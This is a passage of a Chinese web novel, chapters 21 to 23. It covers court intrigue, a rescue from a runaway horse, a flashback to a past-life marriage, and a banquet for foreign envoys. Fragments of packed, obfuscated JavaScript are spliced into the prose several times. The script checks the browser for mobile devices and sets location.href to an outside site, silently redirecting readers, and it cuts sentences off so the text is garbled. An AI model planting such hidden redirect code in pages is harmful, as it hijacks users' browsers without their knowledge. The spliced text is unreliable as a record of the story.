l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382490|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔山寻静静看了他一会,而后缓缓点头。 “你没有这个心思也好。夫人有心让阿柏去拉拢,那就由他们去做——” “你只管顾好舜王那里就好。” 叔山梧与叔山寻在没有掌灯的书房中沉默地对峙。 离家这么多年,如今的他已经比父亲高出了半个头,黑暗将父子二人笼罩,他们之间一层看不见的屏障有如实质。 叔山梧看不见父亲眼神中一瞬的失落,他看出儿子对自己不够坦诚。而叔山寻也听不出叔山梧语气中的讽意,嘲弄着父亲的处心积虑。 “但凭父王安排。” 虽多年不曾在父亲身边,他却再明白不过叔山寻的用意。他的父亲不会甘于当下的局面,他向来是运筹帷幄之中的天生将才,领兵打仗只是他的特长之一。 自己自边关烽燧回到关中,成为霁阳守备军的一员后,父亲身边的近卫便会不定时出现在他身边,将关内情势、朝中时局乃至世家情形暗中传递给他,他深知自己也是父亲处心积虑要回到关中的一枚棋子。 所以他才能在鹤皋山中,仅仅凭借郑来仪透露出的不起眼的讯息,判断出她的出身。 叔山梧明白权利地位的争夺,仅凭阳谋是不够的。却对父亲在众高官之中虚与委蛇,不惜借助姻亲手段拉拢门阀世家的手段有种深深的厌恶。 袁振为首的宦党如跗骨之蛆,借颜青沅之死大作文章,嚼死人骨血; 兵部的主官懦弱无能,在禁军和藩将面前连个屁都不敢放; 还有通身高位者虚伪做派的郑国公,既结皇室,又结强藩,两边观望,期于不败; 更不用说他那个小舅子。 若不是李澹拥兵不进,霁阳便不会陷入绝境,师父就不会…… 叔山梧咬紧了牙,眸中闪过浓烈的恨意。 窗外有黑影一闪而过。叔山梧松开手中的东西,向后靠坐。 “进来。” 那人影从开着的窗扇翻身进屋,稳稳落在叔山梧的桌案前。是个束着马尾眉眼锋利,约莫十三四岁的少年。 “主子。” “如何?” “那几个前来进贡良马的图罗使者没有从北边出境,在城中游荡了几日,途中还有同伴加入了他们,看身形,应当是带着功夫在身上的。” 叔山梧眸中锐色一闪。 “他们一路都十分谨慎,出城后没有向北离境,而是取道奉州向东去了,决云就没有再跟。” 叔山梧双手撑在案上,阖目不语。 决云的视线移到他的手臂,黑色的宽袖下,隐约可见一道道狭长的伤口,一直蔓延至手背,正微微渗着血。 他心一沉,转而看见叔山梧的右手边倒着一只青铜烛台,顶部的铁刺上沾着暗红色。 “主子,您又……” 决云咬了咬牙,转身去屋子的另一头翻找,回来时带了一只药箱:“我给您上药。” “不必。”叔山梧竖起手制止他。 这点身体上的疼痛,能够让他清醒些。或者说,干脆让他糊涂些,短暂地忘记那些噩梦。 决云拒绝听命,伸手抓住叔山梧那只受伤的手臂,一手捏着药瓶上药,一边气急败坏地喋喋着。 “青州气候湿咸,伤口不妥善处理手是会废掉的!您为什么要这样对自己……” 叔山梧没有挣扎,他抬眼看着动作利索给他裹伤的属下,突然道:“你不该跟着我,随着阿柏留在玉京多好。” 伤已裹完,决云将手里的金创药瓶往案上一顿,眼角有些微红。 “主子是在嫌弃决云没用么!” 叔山梧望着一脸倔强的决云,嘴角浮起一丝苦笑,视线移到他衣袖蓦然变了脸色。 “你受伤了?” 决云晃了晃胳膊,一脸无所谓。 “小伤,不要紧的,已经处理过了。方才遇到个蒙面小贼,他似乎一直在跟踪我,被我发现还交了手——说起来也奇怪,这人的功夫路数很像是图罗人,但又和那几个使者不是一伙……” 叔山梧一手托住下巴,唇线抿紧了。 “他见打不过我就要溜,我佯装放他走,暗中跟在他后面——主子可知,他去了哪儿?” 叔山梧抬眼看向决云,眉头微蹙,似乎反感他这样吊口味的说话方式。 “——舜王世子的别院。” 决云压低声音,脸色严肃起来:“属下看得分明,那小贼从后门进的别院,出来迎他的就是郑四小姐的那个丫鬟,紫袖。” 21. 蓬惊马首风 第二日是个好天气,世子嘱托过下人,谁都不许去吵了四小姐的清净,郑来仪一直睡到饱。她一睁眼,便听见鸟鸣声悦耳动听,阳光隔着窗纱已洒进室内。 “姑娘可醒了,昨日睡得太晚了吧!看您在榻上翻来覆去好久……” 紫袖扶着郑来仪起身,递过一盏茶给她漱口,“朝食预备好了,世子爷要在前面接待使臣,不能陪您用了,说等结束了就陪您出去骑马。” 郑来仪起身坐到案前,任紫袖给自己梳妆,随口问道:“他这里还真是热闹,这回又是哪国使臣?” “这婢子倒没问,想来也是前来朝贡的……” 说话间前面有侍女来传话,说世子爷已经结束了接待,若姑娘要用朝食可以一道。 紫袖听后掩住嘴一笑,“这世子爷,还真是无时无刻想黏着小姐……” 郑来仪放下手中的步摇,掀眉看了她一眼。 “这里不像家中,说话行事都要倍加注意,别让人看了笑话去。” 郑来仪从来都是带着紫袖一起玩闹,没规矩的事情也大多纵容,很少这样面目严肃地教训她。 紫袖吐了吐舌头,“婢子省得了。那小姐,今日还梳惊鸿髻?” “不用那么复杂,就盘个单罗髻,帷帽也不用。穿那双鹿皮靴。” 最终郑来仪穿了一身轻透的鹅黄长裤,外罩敷金花襜裙,上压了一段金银线流云麒麟纹的裙腰,纤腰长束,微行曳波,行之所至香风拂面。 临出门前又折回来,将那把曲柄匕首藏在了靴筒里。 李德音看见郑来仪第一眼便眼前一亮,视线再难以从她身上移开,路途中见她始终神色淡然也不说话,便有意引她开口。 “椒椒可休养好了?” 郑来仪略一颔首:“承蒙世子照顾,听说一大早便有使臣来拜会,其实若是世子事忙,我一人去散散心也是无妨,左右我这里没什么正事。” 李德音摇头,殷切道:“你的事是最大的正事,椒椒,我——” “我们好像到了。”郑来仪抬眼看向远处,拦住了他的话头。 千里草场一望无际,青州牧监齐舆早早侯在这里,等着贵人莅临。 齐舆的身边是两匹高大亮眼的沮渠马,一匹为枣红色,皮毛如绸缎一般泛着华贵的光泽,另一批黑身白蹄,远望如同踏雪而来。两匹马均是头细颈高,筋肉明显,腰背线条修长流畅。 “世子,贵人。” 齐舆朝着二人走来,躬身行了一礼,又对着李德音道:“按照世子爷的吩咐,挑选了两匹品相最好的骏马,这两匹马都诞生自汨罗山谷,那一匹,据闻先祖便是名扬千古的‘赤兔’……” 他手朝那枣红色的马一指,马儿似能听懂人语,随着齐舆的介绍骄傲的抬高了头颅,左右摇晃着脑袋,威风十足。 李德音看得满眼欢喜,笑着转头看向郑来仪:“椒椒喜欢不喜欢这枣红马?” 郑来仪的视线在那斗志昂扬的枣红马身上短暂地停留了一会儿,很快移向了它身旁的同伴。 那匹黑马沉稳得多,流畅的马尾随风拂动,纤细修长的四肢稳稳踏立,双眼却始终望着远方,浑未将周围的人放在眼里。 这骄傲的姿态让她脑中蓦然浮现出一个人影。 “看来椒椒喜欢这匹黑马,要不要试一试?” 郑来仪回过神,沉默地朝那黑马走了过去。 马儿意识到她的靠近,微微侧过头来,硕大的眼睛如同价值连城的黑玉,在日光的照耀下倒映出整个世界黑色的轮廓。 郑来仪与它对视了一会,突然有种异样的感觉,似乎能读懂它的忧伤。 她伸出手,停在马儿的鼻子下面,黑马的鼻翼抽动了两下,而后微微俯首,贴上了她的掌心。这是接纳的表示。 “这匹乌霜性子最是桀骜,下官这还是头一回见它肯主动与人亲近,看来贵人与它果然有缘!”齐舆击掌赞叹了一声。 “马有灵性,也能识得佳人。”李德音面带笑意地说了一句。 齐舆看见世子满眼的恋慕,乖觉地退后一步:“世子,下官那边还有些杂务要处理,便先退下。” 李德音点点头:“去吧,这里有人服侍,你不必在这盯着。” 他走到郑来仪身边:“既然这么喜欢,不如就试一试,不知椒椒骑术如何,可需要本世子与你共乘?” 郑来仪一手轻抚马儿的头部,摇了摇头:“没关系。这马儿生有双脊,驏骑也是无妨的,我试一试,不跑远,应当不妨事。” 李德音面上一瞬闪过失望,很快还是微笑着点头:“那好,我骑另一匹陪你。”说罢扭头换过旁边候着的侍从,将郑来仪扶上马,自己也翻身上了那匹枣红马。 郑来仪一夹马腹,马儿便不急不慢地出发了。 四野空茫,风轻云淡。郑来仪沿着牧场上人为开辟出的小道缓缓而行,举手投足间是典雅出群的贵女气质,让李德音越看越是心悦。 他和郑来仪青梅竹马,成年后随着父王就藩被迫分离,这一回再见她时,已经出落成了婷婷袅袅的大家闺秀,美名动玉京。而他儿时对椒椒的喜欢,也因为多年后再次重逢,如同陈酿经年,滋生出浓烈的孺慕之思。 可是李德音也察觉到,再次重逢,小时候毫无避讳一起玩闹的椒椒,如今保持距离的刻意,让他失落不少。他知道来仪在什么样的环境中长大,所谓规矩礼仪,对她从来不是真正的约束。 或许是太久不曾见面了,有些陌生吧。李德音这么安慰自己。慢慢来,熟悉了才会亲密。 他这么想着,紧了紧手中缰绳,与郑来仪齐头并进,扬声道:“椒椒的骑术是我见过的世家贵女之中最为出色的,看来天生聪慧就是学什么都快!还记得小时候你缠着叔父抱你上马,马儿跑起来颠簸不堪,把你吓得哇哇直哭呢!” 郑来仪笑了笑,似乎是有这么一回事,小时候自己便对马感兴趣,五岁第一次缠着父亲带自己骑马,那马儿似乎是感知到马背上多了个人,存心要把她颠下来,等到郑远持费力控住马,小娃儿已经吓得不成样子,还尿湿了裤子。 后来自己便对骑马始终怀着复杂的情感,又想骑,又害怕被马欺负。 真正手把手教她驭马之术的人,还是……他。 她面上的笑容蓦然冷了下来。 冷不丁想起那个人,郑来仪如同被厚重的黑雾罩住,有种喘不过气来的感觉,她咬紧了牙,狠力一夹马腹,胯-下的马儿陡然受到刺激,便如离弦的箭冲了出去。 “哎!椒椒!这马尚未完全调教好,要小心啊——!” 李德音的话音还未落地,前面的人已经冲得没了影,他无可奈何,只好狠甩了一下马鞭,纵马追了上去。 黑马疾驰如电,带着郑来仪迅速穿过了半个牧场,黑色的鬃毛在风中飞扬,拂过郑来仪的前襟,飞速的奔跑似乎带起一阵最为猛烈的飓风,吹得郑来仪睁不开眼,然而这样的速度却让她感到畅快不少,方才因为想到那人的窒息感都被冲散了。 “椒椒……等、等等我……别跑那么快啊啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419405|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——很危险啊!” 身后传来李德音气喘吁吁的声音,郑来仪头也未回,抬起右臂又是一鞭。 身后追赶的人是来日的太子,甚至可能是皇帝,她却顽劣心起,想着未来的帝王就这么龇牙咧嘴地一路狂追,有种荒谬的滑稽。 李德音看不见郑来仪面上突然的笑意,只能无力地望着黑马载着那盈盈一握的倩影愈去愈远。 这么没命的跑着,不去想到底要去哪里,一时的自由和空茫,似乎是郑来仪重返人世以来最简单纯粹的一刻。 她跑到听不见李德音过分殷勤的声音了,前方连绵的山脉也离自己越来越近,方才准备降下速来,勒缰调转马头。 回头时才发现,的确是跑得有些远了,而这匹乌霜似乎也是跑得十分畅快,被勒住回头时还显得有些抗拒,似乎是不愿就这么回去。 郑来仪俯下身子,拍了拍马头,“这么无拘无束地跑起来,的确很痛快,对吧?” 马儿喷出一口气,左右摇晃着脑袋,似在附和她。 于是她直起身体,朝着回程的方向甩起了鞭子,纵容的语气:“那就再跑一会儿吧!” 这一回,马儿似乎比方才还要兴奋,四蹄欢快地甩动着,马背上的人起初随之上下颠簸,感受着马儿的激动,自己也忍不住笑起来。 这样的状态持续了没有一会,郑来仪突然变了脸色——自己的脚似乎被马镫卡住了。 从学着骑马的第一天起,郑来仪就被教过,脚要踩稳马镫,但切忌被卡住。她也亲眼见过战场上一只脚卡在马镫里松脱不得,被马儿拖行十几里,被活活拖死的成年壮汉。 一手攥紧了缰绳,郑来仪低头一看,背后瞬间起了冷汗——鹿皮短靴上的流苏不知何时缠在了马镫的铁环上,看样子缠得还很紧。 她心中方寸大乱,一时间甚至听不见耳边的风声,只有沉重而不断加速的心跳,一下下振动着自己的耳膜。慌乱中环顾四周,视线尽头似乎能隐约看见白色的尖顶。是营房。应当离他们出发的马场不远了。 她下意识绷紧了身体,微微扯了一下缰绳。 马儿于放肆奔跑中接受到这突如其来的指令,如同不肯听话回家的孩童,更激烈地跃动,想要摆脱束缚,郑来仪心中的慌乱尚未平复,僵硬的身体信号被黑马敏锐地感知了。 她与它的磨合尚不到半个时辰,就好像势均力敌的对手将将能打个平手时,突然露了怯。马儿的顽劣愈发有恃无恐,加速奔跑的同时大幅甩起两只后蹄,郑来仪几乎握不住缰绳,有一瞬甚至从马背上腾空而起。 她紧攥缰绳的手已经湿透,全身的力气都用来让自己不被马甩飞出去,甚至没能听见旁边有人的惊呼声。 李德音远远看见重新出现在视线中的人,尚未来得及欢喜地迎上去,就察觉出不对:郑来仪驾驭的那匹黑马简直如同疯了一般。 “椒椒!你抓紧啊、千万抓紧!!我、我——我来救你!!!” 饶是嘴上这么说,可李德音根本无法靠近她,他坐在马上束手无策,只在原地来回踱步。 就在这当口,那匹失控的黑马已经载着郑来仪从他身边穿梭了三个来回,逼得他不得不避让。 郑来仪面色惨白,脑中的理智全然被濒死的恐惧冲散了,有那么一瞬,她几乎想放开手,屈服于这难驯的马儿,却在快要力竭之际,余光瞥见马场边静静站着的一个人影。 心跳仿佛一瞬间静止。 叔山梧抱臂站着,沉眉望着场中,一霎视线与她接入了同一个轨道。 22. 风景似去年 叔山梧的眼神落在郑来仪的马上——这匹乌霜自幼马时便被他亲手选中,此马性格高傲刚烈,经过几个驯马师都未能将它完全驯服。 他皱了眉,他们居然让她骑这一匹马,还是驏骑,不知是马场上的人不懂轻重,还是这郑四小姐胆子太大。 叔山梧冰冷的眼神如同一剂猛药,将郑来仪的求生意志唤醒——她好不容易才有了重来一次的机会,若真在他的面前被马拖死,实在是太冤了! “椒椒!!你别急啊……椒椒……我、我来了——!!” 那边厢李德音已经翻身下了马,几度想要朝着郑来仪的方向跑过来,都被黑马的癫狂之势无奈吓退。 郑来仪咬紧牙关,拉住缰绳的手攥得死紧,她已经接近脱力,纵然记忆里有娴熟的驭马技巧,却因这具刚满十七岁的身体感到力不从心,无论是力道或是四肢的长度,都不是这匹高头大马的对手。 她强迫自己不再往叔山梧的方向看一眼,手脚的力度和幅度都不足以控制住乌霜,她绝望地闭紧眼睛,只求死也要死在马上。 男人低沉磁性的声音突然响起,叔山梧有力的指令如同沙漠里吹来的一阵风,引着她的马调转了方向。 郑来仪猛地睁开眼,叔山梧也正看着她,撮唇一句简洁的哨音收尾,纵得乌霜毫不犹豫地朝他跑了过去。 她下意识要勒住马,却抵抗不住马儿的力道,马儿被勒得吃痛,在就要靠近叔山梧时被迫狠狠调转过头,以极不服气的焦躁朝着相反的方向迈步,马背剧烈地颠簸起来,郑来仪瞬间失去了平衡。 她半边身子几乎倒悬在马背的一侧,这时,一只有力的手臂稳稳拦住了她的下坠之势。 叔山梧在一瞬间迅捷翻身上马,坚实冷峻的身躯紧贴在郑来仪后背,如同迫人的山。 “别慌。” 他的腿比郑来仪长出一大截,贴着她的腿,牢牢地紧贴马腹,乌霜在他的控制下如同上了紧箍咒,比起方才不管不顾的撒欢劲头,此时虽然驮着两人,却明显乖顺了许多,只是速度依旧很快。 郑来仪的心跳逐渐平复,垂眼看见男人手背上缠着白色的绷带,只露出森然凸起的骨节。 她挣了挣,想把手抽开,却遭到更紧密的控制。 “别动。” 因为多出的一人,马背上空间局促许多,郑来仪整个身体都绷紧了,似乎是紧张。 比起因陌生而带来的紧张感,身后的这具熟悉的男人躯体更让她不适。 叔山梧似乎并未察觉她的紧绷,他始终专注看向前方,双腿抵住她的膝弯,镇静的声音响在她耳际。 “放松,感受它的节奏,告诉它,‘我能跟得上你’……” 郑来仪闭了闭眼,从耳垂到脸颊都在发热,与之相反的是自己颤抖的手,凉得如同湖底的寒冰。 她的手冰凉,身体却如高烧一般热得吓人,前世他第一次教自己骑马的记忆如潮水般无法阻挡地进入脑海。 那是她与他成婚之后第一次相见。 自大婚之夜,她便始终未能见到自己的丈夫,她一直以为叔山梧是因什么紧急的军情,不得不一声不响地离开,一颗心七上八下,全部系在他身上。 那时她便想,若是再遇到这样的情形,自己陪着他一起就好了。哪怕是骑着马默默跟在行军的队伍里,能看见他也好。 七日后叔山梧不声不响地回来了。归家时正看见新婚妻子在近卫的陪同下笨拙地学习御马,将手中长刀一扔,翻身上了她的马背。 她看不见新婚丈夫的脸,只能听见他沉稳的声音在耳边,教她夹紧马腹,放松胯骨,随着马儿的节奏起伏。 “告诉马儿,你准备好了。” 他的话不多,低沉的声音莫名叫人安心,郑来仪在这样的安全感包裹下渐渐松弛下来,马儿的速度也越来越快,她不曾有过这样的感受。叔山梧如同一阵自由无羁的风,而此刻这阵风却为她停留,温柔地将她包裹。 叔山梧纠正她的错处,与往常展露出冷冽刚硬的样子迥然不同。 他耐心地告诉她:“马眼中的世界,和你是不一样的。它们既聪明也敏感,可以感知到你的情绪,包括你的害怕,你能感知到它么?” 郑来仪无心感受马的情绪,她全部的注意力都在身后的男人身上。 他的气息,他的声音,他的味道。 到最后被他从马上搀扶着下来,她才红着面看向叔山梧。 她那时一身男装,薄施粉黛,可是一双眼亮晶晶的,如同天上闪烁的星辰。 初学骑马者,马背与身体摩擦最多的地方会觉得不适,严重者甚至会受伤。郑来仪下马后,叔山梧察觉到她走路时姿势异样,便差走了跟随的侍从。 等二人回到房中,叔山梧将一只小巧的白釉盒递到她手里,郑来仪则报以疑惑的眼神。 “羊脂。一开始骑马适应不了马的节奏,会有些不适应。每次上马前厚敷一层,会好得多——” 他声音带着凉意,垂眼看她时微微泛着波澜,“——你试试,我去更衣。” 听话的人却面红过耳,一时忘记了身体的不适,抬眼看向面色平静、似是毫无半分旖旎心思的叔山梧。 这是他们第一次以夫妻的身份相处,她尚需要适应,他怎么可以在说起如此私密的话题时这样自然寻常。 郑来仪突然生出一种要较劲的心思,将那白釉盒塞回叔山梧手中,直勾勾地看着他:“……我不曾用过,不知怎么用——不如,郎君来帮我?” 她头一次从叔山梧的脸上看到了窘迫,心中暗自满意。 叔山梧手里捏着白釉盒,意识到她从来不是什么温顺内敛的小白兔。在无人可见的地方,她的直白甚至让他难以招架。 他面色虽然平静,但手中已微微起了汗,光滑的釉面在掌心缓缓滑动,抿唇朝着榻沿坐着的人走了两步。 郑来仪望着他逼近的身躯和突然深邃的目光,没来由地瑟缩了一下,而后听见他低低嗤笑了一声,游刃有余的语气:“那便等为夫换好衣服就来。”转身大步入了内室。 等他再出来时,榻上的人已经睡着了。气息绵长,双颊还泛着酡红。 …… 想起那时红着脸装睡的自己,郑来仪胃里一阵翻腾。她知道自己此刻的脸也如那时一样,若是有什么法子能够阻止身体本能的反应,她会毫不犹豫去做。 可是眼下她只能咬紧牙关,等着脸上的热度退去。好在叔山梧的手也适时松开了她,默默执起缰绳的另一端。 注意力一旦转移,身体也不由自主地放松下来,郑来仪很快重新适应了马儿的节奏。 可尚未平静多久,叔山梧的左手倏然抓紧她手臂,身体倾向了一边,郑来仪尚未来得及做出反应,就被他握住了右侧小腿。 “你——!你做什么?!”她欲甩开他的手,却被死死的按住。 “别动。” 郑来仪被迫听话,她也知道此时不能动,乌霜刚刚适应了自己的姿态,若是不管不顾地乱动,很可能重演刚才的局面。 花襜裙下绉纱长裤轻薄如纸,男人掌心的温度隔着仿若无物的布料熨至肌肤。郑来仪咬着牙要骂他轻薄,却因着他接下来的动作无法出声。 叔山梧的手指修长,手掌包裹住她整个小腿侧面,沿着柔软的腿腹寸寸下移。 直到伸进了她的靴筒。 郑来仪心一沉,原来他早就发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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低垂的睫羽遮住郑来仪目光中的怀疑,低声道:“原来如此。” 叔山梧朝她走近,刚要开口说话,远处突然响起李德音的声音。 “椒椒——!” 他不着痕迹地退后两步,恢复了一贯的冷然姿态,朝着上气不接下气的世子叉手行礼。 李德音潦草地点了点头,冲到郑来仪面前,因为激动声音有些过大:“椒椒你没事吧?!” “没事。让世子担心了。” 李德音犹不放心地上下打量了郑来仪一番,转头看向在旁边低着头吃草的乌霜,作势扬起手里的马鞭:“这该死的马!竟突然发狂让你受惊,我定叫他们好好调教一番!!” 郑来仪压着性子道:“不必。方才是我的问题,这是匹好马,还请世子不要过于苛待它。” 李德音摆了摆手:“椒椒说什么便是什么吧!本世子和一匹马计较什么?你没有受伤就好了!” 叔山梧鼻子出气,似是笑了一声。郑来仪心头愈发烦躁,只对李德音道:“我们回去吧。” 李德音点头:“今天费了些体力,回去休息休息换身衣服,晚上在别院给鹘国使臣践行,椒椒也一起吧。” “……好。” 李德音转头看向叔山梧:“於渊,与胡州市马一事你也出了不少力,这次鹘国来的使者还记得你,点名要你也参加,一道来吧!” 身后的人恭顺且爽快:“但凭世子吩咐。” 郑来仪提步就走,心中暗自后悔方才那么轻易答应了李德音。 23. 舞裙香满室 鹘国位于大祈西境,属地与陇右接壤,一向与大祈交好。这次派来的使者身份尊贵,据说是王国中最受宠的三王子,名叫护劼,此行前来除了贡马,还兼有商议互市之意。 为便于接待胡人使节,李德音在别院中设了一块独立的庭院,取名四夷馆。馆内亭台楼阁建筑风格别出心裁,杂糅了北境和西域诸国的特色。接待鹘国使者的晚宴便设在四夷馆内一座具有浓厚的鹘族风格的院落。 侍者引着世子爷和郑来仪走进院中。弧形的外墙铺满繁复而不失整齐的雕花石砖,庭院中栽种着北方极为罕见的棕榈树,树影婆娑。院落中央的观景台以十二根立柱撑起,轻纱为帘随风飘拂,四方花砖铺地,抬头可见六边形的木质穹顶,巨大的宝相花嵌于中心,喻示着大祈盛世为四方来贺。 花坛中的石榴花热烈盛放着,郑来仪一见便觉欣喜,想起国公府中父亲带着自己栽下的那株石榴树,脚步便慢了几分。 “走吧,椒椒。” 观景台上,客人已经落座。众人听见世子爷的声音,纷纷起身。 “护劼拜见世子!” 传说中的鹘国三王子护劼穿一身花纹繁复的褐色锦袍,头戴扇形冠,一头卷曲的褐发被整齐归至脑后,腰间系着墨绿色的长巾,耳上还戴着两只金环耳坠,一身衣饰颜色鲜明十分华丽。 护劼的汉话十分标准,几乎听不出口音。向李德音行完礼后,视线便停在了世子身后一袭天水碧束胸长裙的郑来仪身上,双目可见地睁圆了。 “护劼也算来过中州不少回,却不曾见过这样的美人——” 他同样朝着郑来仪行了一礼,背弓得更深了些,“——护劼拜见美人!” 李德音并不适应鹘人对女子过分热情的举止,下意识看向郑来仪,担心她心中不悦,谁料她却淡淡笑着还了一礼。 “三王子会这么说,恐怕是还没有见过我几个姐姐的缘故。” 护劼哈哈大笑,对这落落大方的国公小姐留下深刻印象,众人亦是笑意盈盈地入座。世子居主位坐在中心,护劼和一众鹘国使臣坐右手,郑来仪坐左手,陪同在座的还有鸿胪寺的官员和牧监齐舆。 郑来仪甫一落座,才发现自己对面,叔山梧正坐在护劼的右手边,此刻正偏过头与护劼低声交谈。护劼直起身子,朝着郑来仪点了点头,叔山梧视线便一同顺势转了过来,与她隔空对望。 他穿了一件佛头青的宽袖襕衫,玉色蹀躞带束腰,竟有了几分文臣气质,低调地跻身于衣饰鲜明的胡客之中,面上挂着疏离的笑意。 与早晨将她紧箍于怀中降烈马的叔山梧判若两人。 郑来仪垂下眼,抿了口茶。 见诸人都已落座,主人席位上的李德音端起酒杯,曲乐暂停。 “承蒙陛下亲自关心,大祈与六胡州市马如火如荼,今日本世子特在此宴请鹘国使团,也为三王子送行,感谢三王子为两国互市再填新彩!” 护劼哈哈一笑:“世子客气了,借您吉言!” “本世子听闻玉京已经开始有颇具眼光的马行,指定专门收购鹘国马?” 护劼面露得意:“不是我护劼吹嘘,实则我鹘国马比起图罗和沮渠马,战力一点不差!只是吃亏在我们离大祈远了些,往来不如他们方便,此次前来,只求能让我鹘国马更多为大祈看到!” “看来三王子不虚此行了。”众人见世子端起了酒杯,便纷纷跟着举杯。 李德音正要仰头喝酒,视线瞥到叔山梧,动作停了下来,疑问道:“於渊,你怎么端的茶?” 众人视线纷纷投向叔山梧。只有郑来仪,默默放下了手中杯子。 她想起,他的确是不喝酒的。 常年离家的将士们,腰间酒壶中的一口酒有时是孤独戍边的生活中唯一的凭吊,甚至急行军时随身的水囊里或许都装的是烈酒。很少能见到如他一样滴酒不沾的军人。 叔山梧正要说话,旁边的护劼却开口了。 “世子爷不用管他!他喝不了酒,您准备的美酒正好不用分他一杯,我们喝我们的就好!” 主客都这么说了,旁人也不好再说什么,于是将杯中酒纷纷饮尽了。 李德音便好奇问护劼:“不知三王子和叔山梧是如何认识,看起来很是亲厚?” 护劼看向旁边坐着的叔山梧:“说来话长,有一年鹘国边城遭逢灾荒,灾民为求生冲进了大祈边境,当时贵国边城的大官要将他们当做奸细处死。是阿梧兄弟出面,不仅将人平安送回,还给他们带上了米粮和肉干……” 李德音闻言,点头道:“做得不错!大祈与鹘国一向交好,这糊涂驻防官也不知是哪一位,怎的如此不明事理?” 一言既出,在场诸人均是随声附和。护劼笑道:“世子爷也不用追究了,在下今日来是交友的,也不是告状的。事情已经过去,就不用再提了!” 大家呵呵一笑,便准备揭过这篇。 “还是三王子明理。边郡形势复杂,驻防官为国守境,无非是过分谨慎了些,于大祈而言并无甚过错。若是对谁都友善,怕是某一日会成了东郭先生。” 郑来仪说罢,拈起盘里的一刻碧玉葡萄,不紧不慢地剥开皮放进口中。 叔山梧掀眉,淡淡看向对面的人。 在场的都是和番邦打惯交道的人,深谙表面和气的重要性,护劼随口一提的事,却也是隐隐表达对大祈的不满。而郑来仪这番云淡风轻的话看似附和护劼,其实是在背刺出手保护异族的叔山梧。 也无疑提醒在座的各位,此时所处的毕竟是大祈的领土,要明白自己的立场。 叔山梧身后,决云对郑来仪怒目相向——这郑小姐接连拆台,矛头十分明显地指向自己的主子。 叔山梧却神色如常,仿佛没有领会郑来仪对自己的针对。他静静看着对面的人,想到决云向他汇报的事,目光中便带了一丝饶有兴致地探寻。 这养尊处优的郑四小姐,看似温顺恭谨,却每每做出些出人意表的事情。 “椒椒说得倒也不错。” 李德音终于是出声附和,他看了叔山梧一眼,后者恍若未闻,依旧出神地看着对面。世子面上的笑意淡了不少,场上气氛一时便有些冷场。 护劼感叹:“贵人韶龄,看事却颇为老辣!我说一句不当说的话,倘若大祈的边防节镇统领都有如此觉悟,能明辨奸邪,也不至于让人钻了空子!” 叔山梧略抬了抬眉,嘴角带了分凉薄的嘲弄。 李德音没怎么听明白,当场发问:“三王子何故有此一说?” “世子爷知道,二十年前,自大祈陇右道以西直至北境,均为我鹘国疆域。可自从你们那个姓段的节度使造反以后,大祈周边便开始有人蠢蠢欲动,意图……蒙眼摸鱼?——诶,我说得对么?” 护劼自觉说得不大对,便朝身边的叔山梧确认。 叔山梧轻笑了一声,状似不经意地看了郑来仪一眼,而后口齿清楚地教他:“浑水摸鱼。” 众人也不自觉地笑出了声。 郑来仪听着这意有所指的话,神色一僵:“三王子此话何意?” “鹘国与图罗、沮渠一向关系紧张,这一点在下也不讳言,然而这两国表面归顺大祈,实则贼心不死,这些年不仅一直在骚扰周边的邻国,也从未放弃对关中的野望。” 护劼转向李德音,语气严肃了不少:“小王听说,我们抵达青州之前,前来献马的沮渠使者刚刚离开。世子可知十日前,一支上百人的沮渠部队才刚刚偷袭了大祈北境的靖遥。” 郑来仪闻言,唇线抿紧。 靖遥是位于大祈西北的一个节镇,地处槊方和陇右交界,隶属槊方节度使统辖范围。是虢王李澹的属地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473419|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她下意识看向李德音——舜王同为节度,被紧急唤回玉京议事,或许对此事也是知情的。而从李德音的反应上,她也证实了自己的猜测。 李德音缓缓抚摸着指节上的玉石扳指,一时没有急着说话。 怀光帝对李澹和李肃这两位李氏宗亲的态度不大一样。李肃身为怀光帝的亲弟弟,一度曾被外放到距离玉京千里之外的岭南就藩;而李澹只不过是皇帝的远方堂兄,却被放在距离玉京更近的淮南道。 霁阳一事后,朝臣均对李澹的不作为颇多非议,怀光帝却再次对虢王委以重任。虽然自己的父亲始终不曾多言,但在世子李德音看来,皇帝对虢王的偏颇实在有些昏聩。听说槊方出事,他便颇有几分隔岸观火之感。 郑来仪从李德音沉默的表象中看出了些什么。实则在父亲身边耳濡目染这么多年,她也并不意外这些人心中的盘算。 她低垂的眉眼微微蹙起,没注意对面的男人从方才便一直默默注视着她。 护劼见席上气氛莫名严肃,忽地笑道:“不说这些沉重的话题了!今日在下带来的几个舞姬,善跳柘枝和胡旋,请世子爷赏眼!” 